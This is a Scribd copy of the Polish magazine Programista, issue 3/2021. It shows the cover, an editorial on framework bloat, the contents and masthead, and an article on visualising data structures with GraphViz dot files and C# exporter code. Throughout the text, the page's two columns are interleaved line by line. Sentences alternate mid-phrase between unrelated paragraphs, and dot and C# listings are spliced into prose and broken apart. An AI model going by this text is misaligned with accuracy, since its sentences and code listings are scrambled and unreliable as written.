0% found this document useful (0 votes)
613 views72 pages

Programista 97a

Uploaded by

Darkos333
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
613 views72 pages

Programista 97a

Uploaded by

Darkos333
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Z ARCHIWUM CVE: SHELLSHOCK · STREFA CTF

Index: 285358 www • programistamag • pl

Magazyn programistów i liderów zespołów IT

3/ 2021 (97)   Cena 25,90 zł (w tym VAT 8%) 


czerwiec/lipiec 2021

JAK PROGRAM
STAJE SIĘ PROCESEM

ALGORYTMY HILL-CLIMB GRAPHVIZ – ŁATWE


– ZASKAKUJĄCO WIZUALIZOWANIE GRAFÓW
SKUTECZNA HEURYSTYKA STRUKTUR DANYCH

NIE TYLKO KOD I TESTY, REST API W JĘZYKU R


CZYLI O JAKOŚCI – ROZWIĄZANIA
OPROGRAMOWANIA I PUŁAPKI

BLAZOR JAKO
NOWOCZESNY
[Link] WEB FORMS
01010000
01110010
01101111
01100111
01110010
01100001
01101101
01101001
01110011
01110100
01100001
#
/* Kiedyś to było… */

...a teraz też jest, tylko inaczej. Mam oczywiście na myśli programo- we samej aplikacji. I tylko dlatego, że autor postanowił wykorzystać
wanie – zarówno podejście do tego tematu, jak i sposoby tworzenia jeden taki duży gotowy klocek, a ten z kolei wymaga kolejnych takich
oprogramowania znacząco zmieniły się na przestrzeni ostatnich kilku- klocków – w końcu słynny mem o tym, że katalog node_modules jest
nastu lat. Dziś już zwykle nie myślimy o ograniczonej ilości dostępnej cięższy od czarnych dziur, powstał nie bez przyczyny. Oczywiście nie
pamięci operacyjnej, prędkości procesora, na którym nasze oprogra- mam nic tutaj do samego nodeJS, jednakże warto przy tworzeniu
mowanie będzie uruchamiane, czy przestrzeni dyskowej. Również mniejszych projektów zastanowić się, czy naprawdę potrzebujemy tej
prędkość łącza internetowego coraz częściej przestaje mieć znacze- ciężarówki i czy „Hello World” z naszym zestawem frameworków musi
nie. Mamy setki, a nawet tysiące gotowych rozwiązań i frameworków zajmować 20 MB miejsca na dysku po skompilowaniu.
do szybkiego tworzenia aplikacji każdego rodzaju i dziesiątki języków Zanim słowo „framework” było jednoznacznie kojarzone z programo-
programowania przeznaczonych do różnych zastosowań. Mamy waniem, wszystkie elementy oprogramowania były tworzone zwykle
chmury obliczeniowe i inne „CUDA” naszych czasów. od zera, a zbiory gotowych bibliotek i funkcji ograniczały się do podsta-
Wróćmy jednak na chwilę do momentu, kiedy programowanie było wowych elementów języka wykorzystywanych w prawie każdym pro-
nazywane sztuką, niekiedy nawet magiczną. Patrząc dziś na tamtą jekcie. Ważne również było, aby kod był zarówno czytelny, jak i szybki,
epokę, to zarówno ograniczenia ówczesnego sprzętu, jak i sam stan a także jak najmniejszy. Było to podyktowane istniejącym sprzętem
narzędzi programistycznych pozwalają nazwać niektórych programi- oraz właśnie tą magią programowania – „640 KB pamięci miało wy-
stów tamtej ery prawdziwymi czarodziejami. Był to okres, w którym starczyć każdemu”, a bardzo szybko się ta pamięć kończyła, więc
liczyły się nie tylko umiejętności związane z samym tworzeniem kodu optymalizacja była naturalnym procesem tworzenia aplikacji, nawet
i znajomością języków programowania, ale również użyciem tych zdol- tych prostych i niewielkich. Właśnie o tej optymalizacji zapominamy
ności w taki sposób, by pokonywać istniejące ograniczenia lub wyko- coraz częściej – program działa, robi, co ma robić, i na tym poprzesta-
rzystywać je do granic możliwości. I tutaj pojawia się pytanie – dla- jemy. A czasem warto poświęcić chwilę i chociaż spróbować dokonać
czego dziś już przy tworzeniu oprogramowania zwykle nie zwracamy analizy tego, jak to wygląda przy różnych konfiguracjach, zestawach
uwagi na takie aspekty, jak pamięć czy przestrzeń dyskowa? Myślę, że danych itd., być może dla 10 tysięcy rekordów nie będzie żadnej róż-
jest tak, ponieważ mamy obecnie zasoby, które pozwalają nam o tym nicy w czasie działania, ale dla 10 milionów może to być kilka minut.
zapomnieć, a i tak uzyskamy oczekiwany efekt końcowy. Dawniej, pi- Ponieważ sam moją przygodę z programowaniem zaczynałem w cza-
sząc nasz kod, warto było go optymalizować, by uczynić go szybszym sach słynnych 640 KB, mam nawyk testowania i optymalizowania kodu
i mniej wymagającym, a bardzo często zdarzały się takie okazje. pod względem rozmiaru, szybkości działania oraz wykorzystania do-
Obecne frameworki czy zestawy bibliotek znacznie ułatwiają two- datków i zewnętrznych bibliotek tam, gdzie tylko się da. Może to już
rzenie oprogramowania – dostajemy podane na tacy gotowe klocki, tylko moje przyzwyczajenie, a może po prostu jestem pod tym wzglę-
które możemy dowolne doklejać do naszego projektu, ale czy zawsze dem minimalistą z racji czasów, w jakich zaczynałem programować.
potrzebujemy dużej ciężarówki, aby przewieźć jeden mały worek wę- Zachęcam jednak wszystkich do tego, aby eksperymentować z opty-
gla? Jedne z ostatnich badań, na które natrafiłem, przeglądając różne- malizacją projektów – kiedyś to była konieczność. I kiedyś to było…
go rodzaju artykuły poświęcone programowaniu, opisują fakt, iż nawet A frameworków nie było.
bardzo proste aplikacje często wymagają do samego uruchomienia
Sopel
instalacji tony różnego rodzaju bibliotek, pakietów i dodatków zwykle
o wiele przewyższających zarówno rozmiar, jak i wymagania sprzęto-

/* REKLAMA */
SPIS TREŚCI

BIBLIOTEKI I NARZĘDZIA
6 # Wizualizowanie struktur danych przy pomocy GraphViz
01010000
01110010
> Wojciech Sura

PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH


14 # REST API w języku R – rozwiązania i pułapki

01101111
> Piotr Szajowski

PROGRAMOWANIE SYSTEMOWE
24 # Jak program staje się procesem

01100111
> Tomasz Duszyński

PROGRAMOWANIE APLIKACJI WEBOWYCH


32 # Blazor jako nowoczesny [Link] Web Forms

01110010
> Dawid Borycki

ALGORYTMIKA
38 # Wybrane algorytmy i struktury danych. Część 8: algorytmy hill-climb

01100001
> Wojciech Sura

INŻYNIERIA OPROGRAMOWANIA

01101101
48 # Przegląd wzorców projektowych w Magento 2
> Piotr Jaworski

TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

01101001
52 # Nie tylko kod i testy, czyli o jakości oprogramowania
> Aleksandra Kunysz

STREFA CTF

01110011
56 # Pwn2Win CTF 2021 – atak Spectre
> Dominik "disconnect3d" Czarnota, Arkadiusz "Arusekk" Kozdra

Z ARCHIWUM CVE

01110100
64 # Shellshock
> Mariusz Zaborski

PLANETA IT

01100001
66 # Mikrofale, czyli jak mały batonik zmienił świat
> Wojciech Macek

ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA

Przez formularz na stronie:.............................[Link]


Na podstawie faktury Pro-forma:.........................redakcja@[Link]

Prenumerata realizowana jest także przez RUCH S.A.


Zamówienia można składać bezpośrednio na stronie:.......[Link]
Pytania prosimy kierować na adres e-mail:...............prenumerata@[Link]
Kontakt telefoniczny:...................................801 800 803 lub 22 717 59 59*

*godz. 7 : 00 – 18 : 00 (koszt połączenia wg taryfy operatora)

Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@[Link]). Redaktor prowadzący: Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
Mariusz „maryush” Witkowski (mariuszwitkowski@[Link]). Korekta: Tomasz Łopuszański. Kierownik wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
produkcji/DTP: Krzysztof Kopciowski. Dział reklamy: reklama@[Link], tel. +48 663 220 102, nakładzie i objętości czasopisma.
tel. +48 604 312 716. Prenumerata: prenumerata@[Link]. Współpraca: Michał Bartyzel, Mariusz O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Sieraczkiewicz, Dawid Kaliszewski, Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Sławomir Sobótka, Dawid Borycki, Gynvael Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał ich bez zezwolenia jest Zabronione.
Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, Jarosław Jedynak, Damian Bogel ([Link] Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Michał Zbyl, Dominik 'Disconnect3d' Czarnota. Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: [Link] Nakład: 4500 egz. prezentowanych na łamach magazy­nu Programista.
BIBLIOTEKI I NARZĘDZIA

Wizualizowanie struktur danych przy pomocy GraphViz


Debugowanie kodu operującego na skomplikowanych strukturach danych jest często kłopotli-
wym zadaniem. Narzędzia obecne w środowiskach programistycznych pozwalają wprawdzie
podglądać zawartość klas, z których są one zbudowane, ale zazwyczaj jest to zbyt mało, by
móc wyrobić sobie pełne wyobrażenie o panujących wewnątrz nich zależnościach. Wystarczy
jednak skorzystać z pewnego prostego narzędzia, by szybko uzyskać pełen obraz tego, co
ukryte jest w pamięci naszej aplikacji.

NA CZYM POLEGA PROBLEM? GRAPHVIZ


Z żalem muszę stwierdzić, że we współczesnym programowaniu co- Najprostszym rozwiązaniem opisanych wcześniej problemów jest
raz częściej odchodzi się od ciekawej algorytmiki oraz budowania oczywiście zwizualizowanie grafu, czyli przedstawienie go w postaci
złożonych struktur danych na rzecz utartych szlaków i sprawdzonych rysunku. I wszystko byłoby dobrze, gdyby nie fakt, że narysowanie
szablonów. Wynika to oczywiście z potrzeb rynku: do napisania ser- grafu wcale nie jest tak prostym zadaniem, jak mogłoby się pierwot-
wisu internetowego wystarczy na dobrą sprawę znajomość architek- nie wydawać.
tury MVC, wstrzykiwania zależności oraz dostępu do bazy danych Kluczowym problemem jest odpowiednie rozmieszczenie wierz-
przy pomocy ORM (przy odrobinie szczęścia można nawet obyć się chołków i krawędzi. Wizualizacja nie jest zbyt wiele warta, jeżeli
bez znajomości SQL). Siłą rzeczy próżno więc szukać tu zastosowa- wierzchołki na siebie nachodzą, a całość schowana jest pod chaotycz-
nia – dajmy na to – dla algorytmu wyszukującego najkrótszą ścież- ną plątaniną beztrosko przykrywających wszystko krawędzi. Nawet
kę w grafie czy też budującego drzewo czerwono-czarne. Czasami w przypadku drzew sytuacja wcale nie jest znacząco łatwiejsza: do-
jednak wciąż zdarzają się projekty, w ramach których trzeba trochę branie odpowiedniej ilości miejsca, by wszystkie poziomy zagnież-
ruszyć głową i zbudować oraz przetwarzać nieco bardziej zaawanso- dżenia drzewa zostały prawidłowo narysowane, jest nietrywialnym
wane struktury niż tylko lista albo słownik. zadaniem.
W moim przypadku zaczęło się od napisania kalkulatora prze- Z pomocą przychodzi tu niewielkie, otwartoźródłowe i wieloplat-
twarzającego wyrażenia matematyczne. Ponieważ dawał on moż- formowe narzędzie o nazwie GraphViz. Jego nazwa wiernie oddaje
liwość definiowania własnych funkcji, potrzebowałem zbudować, podstawową funkcjonalność: służy ono do łatwego wizualizowawnia
zoptymalizować, a następnie przechować drzewo reprezentujące grafów.
kompletne wyrażenia matematyczne. GraphViz jest narzędziem konsolowym, które na wejściu przyj-
Innym razem, trochę dla sportu, napisałem framework do stru- muje pliki opisujące grafy lub drzewa zdefiniowane w specjalnym
mieniowego przetwarzania danych – coś na kształt mechanizmu wę- języku o nazwie dot, przetwarza je, a następnie generuje czytelne i
złów (ang. nodes) znanego z Blendera. Można było tam dodawać i stosunkowo estetyczne wizualizacje. Choć programy bez interfej-
łączyć ze sobą węzły, których zadaniem było generowanie, przetwa- su graficznego zawsze budziły na wstępie moją niechęć, wywołanie
rzanie i wyświetlanie danych. Słowem – podstawowym modelem da- tego narzędzia z konsoli nie przysparza większych problemów, a poza
nych był tam graf. tym trzeba uczciwie przyznać, że język dot jest po prostu bajecznie
Wreszcie, gdy na potrzeby pisanej przeze mnie gry potrzebowa- intuicyjny.
łem przetworzyć dużą bazę słów, zastosowałem do tego celu drzewo W niniejszym artykule postaram się przybliżyć to fenomenalne
leksykalne, które szybko pozwalało sprawdzić, czy dany ciąg jest pra- narzędzie oraz zademonstrować, jak można pomóc sobie nim pod-
widłowym słowem w danym języku, czy też nie. czas pracy z kodem operującym na grafach.
W każdej z opisanych sytuacji konieczne było operowanie na re-
latywnie złożonych strukturach danych. W konsekwencji, gdy tylko
HELLO, WORLD?
coś szło nie tak, bardzo często trudno było ocenić, gdzie leży źródło
problemu. Może struktura została zbudowana w nieprawidłowy spo- Zacznijmy od prostego przykładu, który przybliży nam podstawy de-
sób? Może podczas jej przetwarzania naruszone zostały jakieś kon- finiowania grafów w języku dot.
trakty? A może po prostu w jej bezpośrednią implementację wkradł
Listing 1. Prosta definicja grafu
się jakiś błąd?
Na każde z tych pytań trudno było odpowiedzieć, nie mając wglą- graph {
"+" -- 5
du w całą strukturę danych. Oczywiście debugger pozwalał przeana- "+" -- 8
lizować zawartość pól i własności wszystkich instancji klas, które }

zostały zaalokowane podczas pracy programu, ale odtworzenie fak-


tycznych zależności pomiędzy nimi wymagało dużo mozolnej pracy i Tak przygotowany plik zapisujemy na dysku z rozszerzeniem .dot, a na-
licznych zabazgranych kartek papieru. stępnie wywołujemy GraphViz, aby wygenerować wizualizację grafu.

<6> {  3 / 2021 < 97 >  }


BIBLIOTEKI I NARZĘDZIA

Listing 2. Uruchamiamy GraphViz towanym wcześniej przykładzie zdefiniowaliśmy tylko same krawę-
dzie. Jest tak dlatego, że twórcy GraphViza zaprojektowali język dot
> 'C:\Program Files\Graphviz\bin\[Link]' .\[Link] -Tpng -O
w taki sposób, by można było stosować wiele skrótów. Jeżeli na przy-
W efekcie w katalogu z plikiem definicji powinien pojawić się plik o kład nie ma konieczności precyzyjnego zdefiniowania wierzchołków,
nazwie [Link], wyglądający mniej więcej tak: ich jawne definicje możemy pominąć, bo GraphViz będzie dodawał
je automatycznie, podczas analizowania listy krawędzi. Pełna defini-
cja grafu z Listingu 1 powinna bowiem wyglądać następująco:

Listing 4. Definicja wierzchołków i krawędzi

graph {
"+"
5
8
Rysunek 1. Wizualizacja prostego grafu "+" -- 5
"+" -- 8
}

WYWOŁANIE PROGRAMU
Ale i tutaj – choć zapis jest bardziej kompletny – ukryty jest jeszcze
Zanim przystąpimy do opisu języka dot, przejdźmy szybko przez pa- jeden skrót. Można bowiem szybko zauważyć, że zaprezentowana w
rametry wywołania GraphViza. Technicznie można zrobić to, poda- Listingu 4 metoda zapisu wierzchołków uniemożliwi nam zdefinio-
jąc jedynie plik wejściowy, ale wówczas GraphViz ograniczy się tylko wanie dwóch takich, które będą miały identyczną etykietę. Dzieje się
do zwrócenia tekstowej informacji o wygenerowanej geometrii: tak dlatego, że GraphViz domyślnie utożsamia identyfikator wierz-
chołka z jego etykietą, co oczywiście skraca zapis (szczególnie w
Listing 3. Wynik działania GraphViza bez żadnych parametrów
przypadkach, gdy etykiety są unikalne).
graph { Ale również i w tym przypadku możemy zastosować bardziej
graph [bb="0,0,126,108"];
node [label="\N"]; kompletny zapis, wprowadzając osobno identyfikator wierzchołka (te
"+" [height=0.5, powinny być unikalne) oraz jego etykietę. Tę ostatnią wprowadzamy
pos="63,90",
width=0.75]; jako atrybut wierzchołka, w kwadratowych nawiasach znajdujących
5 [height=0.5,
pos="27,18",
się bezpośrednio za jego identyfikatorem.
width=0.75];
"+" -- 5 [pos="54.65,72.765 48.835,61.456 41.11,46.437 Listing 5. Atrybuty wierzchołków
35.304,35.147"];
8 [height=0.5, graph {
pos="99,18", 1 [label="+"]
width=0.75]; 2 [label="2"]
"+" -- 8 [pos="71.35,72.765 77.165,61.456 3 [label="2"]
84.89,46.437 90.696,35.147"];
1 -- 2
}
1 -- 3
}
Parametr -Tpng przełącza format wynikowy na obrazek typu png,
ale GraphViz zwróci go po prostu do standardowego wyjścia. Moż- Teraz wierzchołki o identycznych etykietach zostaną prawidłowo
na oczywiście wykorzystać strumienie, by przekierować go do pliku, wyrenderowane.
ale wygodniej jest użyć parametru -O. Sprawi on, że GraphViz sam
zapisze wynik do pliku, zaś jego nazwę wydedukuje z nazwy pliku
wejściowego oraz wybranego formatu (stąd nazwa pliku [Link].
png). Kompletną listę parametrów z podstawowymi wyjaśnieniami
otrzymamy oczywiście, uruchamiając GraphViz z parametrem –help.

DEFINICJA GRAFU Rysunek 2. Wierzchołki o identycznych etykietach

Każdy graf w języku dot musi zostać „ubrany” w nawiasy klamrowe Warto dodać, że w taki sam sposób możemy definiować atrybuty
oraz poprzedzony słowem kluczowym, które definiuje jego rodzaj. również dla krawędzi, jak w Listingu 6.
Jeżeli użyjemy słowa graph, otrzymamy w wyniku graf nieskierowa-
Listing 6. Atrybuty dla krawędzi
ny, jeśli zaś digraph (skrót od directional graph), GraphViz wygene-
ruje graf skierowany. Dla przypomnienia, graf skierowany to taki, w graph {
1 [label="+"]
którym krawędzie mają zdefiniowany kierunek i są zwykle przedsta- 2 [label="2"]
wiane w postaci strzałek. W grafie nieskierowanym kierunek ten nie 3 [label="2"]

gra roli, więc krawędzie są zwykłymi liniami. 1 -- 2 [label="first"]


1 -- 3 [label="second"]
Zawartość grafu powinna zawierać definicje wierzchołków oraz }
krawędzi. Uważny czytelnik zauważy jednak szybko, że w zaprezen-

<8> {  3 / 2021 < 97 >  }


/ Wizualizowanie struktur danych przy pomocy GraphViz /

Listing 8. Alternatywny układ grafu

digraph {
rankdir="LR"

1 -> 2 -> 3 -> 4


1 -> 5 -> 6 -> 7
2 -> 5
1 -> 6
4 -> 7
3 -> 7
Rysunek 3. Atrybuty dla krawędzi }

FORMATOWANIE
Podczas wizualizowania struktur danych bardzo wygodnie jest mieć
możliwość wyróżnienia niektórych wierzchołków lub krawędzi, by
na przykład zaakcentować ich stan lub też inną cechę, która w danym
momencie nas interesuje. GraphViz daje dosyć dużo możliwości for-
matowania grafu – możemy na przykład określić kształt, który będzie
reprezentował wierzchołek, kolor jego wypełnienia i krawędzi, a tak- Rysunek 5. Graf ułożony od lewej do prawej
że kolory czcionek czy też kolor, rodzaj i grubość linii reprezentują-
cych krawędzie grafu. Przykłady formatowania możemy zobaczyć w
Listingu 7.
PODGRAFY I KLASTRY
Listing 7. Formatujemy graf
Przypuśćmy, że zależy nam, by wierzchołki, odpowiednio 2 i 5, 3 i 6
graph { oraz 4 i 7, zostały wizualnie pogrupowane poprzez wyświetlenie ich
1 [
label="+" na tej samej wysokości. GraphViz wspiera koncepcję podgrafów, dla
fontcolor="#ffffff" których możemy definiować dodatkowe atrybuty. W naszym przy-
style="filled"
fillcolor="#ff8080"
padku poprzez użycie atrybutu rank możemy poinformować, że
color="#ff0000" wszystkie elementy wchodzące w skład podgrafu mają równą rangę.
]
To sprawi, że zostaną one rozmieszczone w jednej linii.
2 [
label="2"
Listing 9. Wprowadzamy klastry do grafu
shape="box"
]
digraph {
3 [
rankdir="LR"
label="2"
shape="box" { rank="same" 2 5 }
] { rank="same" 3 6 }
{ rank="same" 4 7 }
1 -- 2 [ style="dashed" ]
1 -> 2 -> 3 -> 4
1 -- 3 [ style="dashed" ]
1 -> 5 -> 6 -> 7
} 2 -> 5
1 -> 6
4 -> 7
3 -> 7
}

Rysunek 4. Efekt renderowania grafu z Listingu 7

UKŁAD Rysunek 6. Grupujemy elementy o wspólnej randze

Domyślnym układem grafu jest góra-dół. Możemy jednak wpłynąć


na ten parametr, dodając atrybut rankdir do całego grafu. Atrybuty GraphViz wspiera również koncepcję klastrów. Klastrami są z kolei
takie definiujemy bezpośrednio wewnątrz definicji grafu, w nawia- takie podgrafy, których elementy powinny zostać umieszczone w de-
sach klamrowych. dykowanym, prostokątnym obszarze. Wprowadźmy teraz modyfika-
W Listingu 8 przedstawiono, w jaki sposób możemy sprawić, by cję do definicji grafu z Listingu 9: niech elementy 1, 3 i 6 znajdą się w
graf renderowany był z lewej strony w kierunku prawej. Tym razem jednym klastrze, zaś pozostałe – w drugim.
graf jest skierowany – warto zwrócić uwagę na kolejny skrót: „łańcu- Aby zdefiniować klastry, musimy nadać podgrafom nazwy, które
chowy” zapis występujących w nim krawędzi. muszą mieć prefiks cluster.

{  [Link]  } <9>
BIBLIOTEKI I NARZĘDZIA

Listing 10. Definiujemy klastry dla grafu ściami. Aby skorzystać z atrybutu pos, musimy skorzystać z silnika
o nazwie neato. Robimy to na jeden z dwóch sposobów: dodajemy
digraph {
rankdir="LR" do wywołania GraphViza parametr -Kneato lub – chyba prościej –
subgraph cluster_1 { zamiast [Link] uruchamiamy [Link]. Oba sposoby są tożsame z
style="filled" dokładnością do ich efektów.
fillcolor="lightgray"

1 3 6
}

subgraph cluster_2 {
2 4 5 7
}

1 -> 2 -> 3 -> 4


1 -> 5 -> 6 -> 7
2 -> 5
1 -> 6
4 -> 7
3 -> 7
}

Rysunek 8. Manualne pozycjonowanie elementów grafu

WIZUALIZACJA W PRAKTYCE
Na koniec spróbujmy użyć GraphViza, by przygotować wizualizację
istniejącej, rzeczywistej struktury danych.
Załóżmy, że piszemy program w C#, który – za pomocą biblioteki
Irony – generuje drzewo składniowe wyrażenia matematycznego (je-
żeli czytelnik chciałby przetestować poniższe rozwiązanie, do projek-
tu poprzez nuget należy dołączyć bibliotekę Irony).
Rysunek 7. Klastry Na początku konieczne jest oczywiście zdefiniowanie odpowied-
niej gramatyki.
Czytelność grafu oczywiście nieco spadła, ale jego wierzchołki zosta-
Listing 12. Definicja gramatyki dla Irony
ły rozmieszczone dokładnie tak jak tego chcieliśmy.
class MathGrammar : [Link]
{
MANUALNE POZYCJONOWANIE // Public constants
---------------------------------------------------
WIERZCHOŁKÓW public const string INT_NUMBER = "intNumber";
public const string SUM = "sum";
W razie potrzeby możemy zażądać, aby wierzchołki były pozycjono- public const string COMPARISON = "comparison";
wane w sposób bezwzględny – w ściśle określonych miejscach. Służy public const string EXPRESSION = "expression";
public const string COMPONENT = "component";
do tego atrybut pos. public const string TERM = "term";
public const string BIT_TERM = "bitTerm";
Listing 11. Ręcznie definiujemy pozycje elementów
// Public methods
-----------------------------------------------------
digraph {
rankdir="LR" public MathGrammar()
{
1 [pos="2,2!"]
var intNumber = new RegexBasedTerminal(INT_NUMBER,
2 [pos="4,2!"]
"\\-?[0-9]+");
3 [pos="4,4!"]
4 [pos="2,4!"] var expression = new NonTerminal(EXPRESSION);
5 [pos="3,3!"] var comparison = new NonTerminal(COMPARISON);
6 [pos="3,5!"] var sum = new NonTerminal(SUM);
7 [pos="5,5!"] var component = new NonTerminal(COMPONENT);
var term = new NonTerminal(TERM);
1 -> 2 -> 3 -> 4
var bitTerm = new NonTerminal(BIT_TERM);
1 -> 5 -> 6 -> 7
2 -> 5 // Math expressions
1 -> 6
4 -> 7 [Link] = intNumber
3 -> 7 | ToTerm("(") + expression + ")";
} [Link] = component
| bitTerm + "|" + component
| bitTerm + "&" + component
Tu ważna uwaga. GraphViz składa się tak naprawdę z kilku różnych | bitTerm + "^" + component;
silników odpowiedzialnych za rozmieszczanie elementów grafu. Każ- [Link] = bitTerm
| term + "*" + bitTerm
dy z nich działa według innych reguł, więc różnią się też możliwo-

<10> {  3 / 2021 < 97 >  }


/ Wizualizowanie struktur danych przy pomocy GraphViz /

| term + "/" + bitTerm if ([Link] != null)


| term + "%" + bitTerm; [Link]($"{[Link]} ");
[Link] = term [Link]($"({[Link]})\"");
| sum + "+" + term [Link]($" ]");
| sum + "-" + term;
[Link] = sum [Link](sb, ids);
| comparison + "<" + sum }
| comparison + "<=" + sum
public static void BuildChildren(this ParseTreeNode node,
| comparison + "==" + sum
StringBuilder sb, Dictionary<ParseTreeNode, int> ids)
| comparison + "!=" + sum
{
| comparison + ">=" + sum
foreach (var child in [Link])
| comparison + ">" + sum;
{
[Link] = comparison
[Link](sb, ids);
| expression + "&&" + comparison
[Link]($"{[Link](ids)} -> {[Link](ids)}");
| expression + "||" + comparison
}
| expression + "^^" + comparison;
}
MarkPunctuation("(", ")");
public static void BuildDot(this ParseTreeNode node,
Root = expression; StringBuilder sb)
} {
} [Link]("digraph {");
var ids = new Dictionary<ParseTreeNode, int>();
[Link](sb, ids);
Mając daną powyższą gramatykę, Irony będzie w stanie sparsować [Link]("}");
}
wyrażenie do drzewa. Spróbujmy więc zastanowić się, w jaki sposób
wyeksportować to drzewo do formatu dot. Dla utrudnienia załóż- Dla wygody, metody zostały napisane jako extension methods, co z
my, że powinno to zostać zrealizowane w sposób nieinwazyjny – to jednej strony ułatwia ich używanie, a z drugiej strony wplata się ide-
znaczy nie możemy ingerować w oryginalne struktury danych. Jest alnie w wymóg nieinwazyjności dla oryginalnej struktury danych.
to scenariusz, z którym możemy często spotkać się w rzeczywistości. Pozostało nam tylko ubrać wszystko w kompletny program.
Przede wszystkim musimy zadbać o to, żeby elementy były od
Listing 15. Kompletny program
siebie odróżnialne. Klasa ParseTreeNode, reprezentująca pojedynczy
węzeł drzewa składniowego, nie ma niestety żadnego pola ani wła- class Program
{
sności, której moglibyśmy użyć w charakterze unikalnego identyfika- static void Main(string[] args)
tora, więc musimy zadbać o wygenerowanie takich identyfikatorów {
var parser = new Parser(new MathGrammar());
samodzielnie. Rozwiążemy ten problem poprzez ręczne generowanie
[Link]("Enter math expression: ");
liczbowych identyfikatorów dla kolejnych instancji ParseTreeNode, string input = [Link]();
a później przechowamy je w odpowiednim słowniku. Metoda taka var result = [Link](input);
nie jest oczywiście zbyt wydajna, ale miejmy na uwadze, że przede
StringBuilder sb = new StringBuilder();
wszystkim zależy nam na nieinwazyjności rozwiązania, a poza tym [Link](sb);
implementowane przez nas rozwiązanie będzie używane na potrzeby [Link](@"D:\[Link]", [Link]());
debugowania, a tutaj nie musimy martwić się zbytnio o wydajność. }
}
Listing 13. Generowanie unikalnych identyfikatorów dla węzłów drzewa
Przetestujmy go teraz poprzez wprowadzenie wyrażenia 2*(8-5)+6/2.
public static int GetId(this ParseTreeNode node, Skutkuje to wygenerowaniem następującego pliku w formacie dot:
Dictionary<ParseTreeNode, int> ids)
{
Listing 16. Wyeksportowane drzewo wyrażenia
if ([Link](node))
return ids[node];
else digraph {
{ 0 [ label="(expression)" ]
1 [ label="(comparison)" ]
int newId;
2 [ label="(sum)" ]
if ([Link]())
3 [ label="(sum)" ]
newId = [Link](kvp => [Link]) + 1;
4 [ label="(term)" ]
else
5 [ label="(term)" ]
newId = 0;
6 [ label="(bitTerm)" ]
ids[node] = newId; 7 [ label="(component)" ]
return newId; 8 [ label="2 (intNumber)" ]
} 7 -> 8
} 6 -> 7
5 -> 6
4 -> 5
9 [ label="* (*)" ]
Teraz wystarczy napisać kilka metod, które przetworzą element oraz 4 -> 9
jego dzieci i wygenerują odpowiednie wpisy dla pliku dot. 10 [ label="(bitTerm)" ]
11 [ label="(component)" ]
12 [ label="(expression)" ]
Listing 14. Metody eksportujące drzewo wyrażenia do formatu dot
13 [ label="(comparison)" ]
14 [ label="(sum)" ]
public static void BuildThis(this ParseTreeNode node, 15 [ label="(sum)" ]
StringBuilder sb, Dictionary<ParseTreeNode, int> ids) 16 [ label="(term)" ]
{ 17 [ label="(bitTerm)" ]
[Link]($"{[Link](ids)} [ "); 18 [ label="(component)" ]
19 [ label="8 (intNumber)" ]
[Link]("label=\"");

{  [Link]  } <11>
BIBLIOTEKI I NARZĘDZIA

18 -> 19
17 -> 18
16 -> 17
15 -> 16
14 -> 15
20 [ label="- (-)" ]
14 -> 20
21 [ label="(term)" ]
22 [ label="(bitTerm)" ]
23 [ label="(component)" ]
24 [ label="5 (intNumber)" ]
23 -> 24
22 -> 23
21 -> 22
14 -> 21
13 -> 14
12 -> 13
11 -> 12
10 -> 11
4 -> 10
3 -> 4
2 -> 3
25 [ label="+ (+)" ]
2 -> 25
26 [ label="(term)" ]
27 [ label="(term)" ]
28 [ label="(bitTerm)" ]
29 [ label="(component)" ]
30 [ label="6 (intNumber)" ]
29 -> 30
28 -> 29
27 -> 28
26 -> 27
31 [ label="/ (/)" ]
26 -> 31
32 [ label="(bitTerm)" ]
33 [ label="(component)" ]
34 [ label="2 (intNumber)" ]
33 -> 34
32 -> 33
26 -> 32
2 -> 26
1 -> 2
0 -> 1
}

Wystarczy teraz tylko wywołać GraphViz, aby otrzymać, estetyczną


wizualizację, widoczną na Rysunku 9.
Dodajmy też, że w razie potrzeby nic nie stoi na przeszkodzie, Rysunek 9. Wygenerowana wizualizacja fragmentu drzewa wyrażenia

by taki eksport wykonywać nawet co każdy krok algorytmu. W ten


sposób możemy w wygodny sposób zweryfikować, czy algorytm ten
NA KONIEC
działa w sposób prawidłowy.
Pomimo tego, że GraphViz uruchamiany jest z linii komend oraz

NIE TYLKO STRUKTURY DANYCH korzysta z dedykowanego języka do opisu grafów, jest on naprawdę
łatwy w użyciu. Sam język jest zaś tak intuicyjny, że pisanie metod
GraphViz może pomóc w rozwiązaniu większej liczby problemów, eksportujących struktury danych stanowi zwykle bardzo proste za-
nie tylko dotyczących struktur danych. danie i można zrobić to kompletnie nieinwazyjnie dla istniejącego
W jednym z projektów, w których brałem udział, zaszła potrzeba kodu. Cechy te sprawiają, że GraphViz jest doskonałym narzędziem
przepisania dużej ilości kodu z Delphi do C++. Robiliśmy to w kilku ułatwiającym debugowanie złożonych struktur danych.
etapach, najpierw przenosząc kod z Delphi na Borland C++, a potem
z tego drugiego do Visual Studio. Zadanie ułatwiał nam nieco fakt, W sieci
że C++ Builder umiał korzystać z modułów skompilowanych w Del-
Strona internetowa projektu: [Link]
phi, ale nie działało to niestety w drugą stronę. Dokumentacja atrybutów elementów w języku dot: [Link]
Aby ułatwić sobie zadanie, wygenerowaliśmy automatycznie graf
